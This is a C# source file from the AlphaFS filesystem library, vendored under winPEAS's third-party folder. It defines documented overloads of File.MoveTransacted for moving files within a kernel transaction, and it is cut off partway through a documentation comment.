    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.MoveTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            MoveOptions = MoveOptions.CopyAllowed\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            MoveOptions = MoveOptions.CopyAllowed,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            MoveOptions = MoveOptions.CopyAllowed\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            MoveOptions = MoveOptions.CopyAllowed,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            MoveOptions = MoveOptions.CopyAllowed,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            MoveOptions = MoveOptions.CopyAllowed,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            MoveOptions = MoveOptions.CopyAllowed,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            MoveOptions = MoveOptions.CopyAllowed,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            MoveOptions = moveOptions\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            MoveOptions = moveOptions,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            MoveOptions = moveOptions\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            MoveOptions = moveOptions,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The name of the file to move.</param>\n      /// <param name=\"destinationPath\">The new path for the file.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method works across disk volumes.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an <see cref=\"IOException\"/>.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param 